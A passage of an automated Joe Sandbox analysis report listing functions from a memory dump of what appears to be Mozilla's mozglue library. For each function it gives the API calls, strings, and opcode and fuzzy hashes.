Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C661720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C6B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

NaN, xrefs: 6C669EC1
Infinity, xrefs: 6C669EB7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
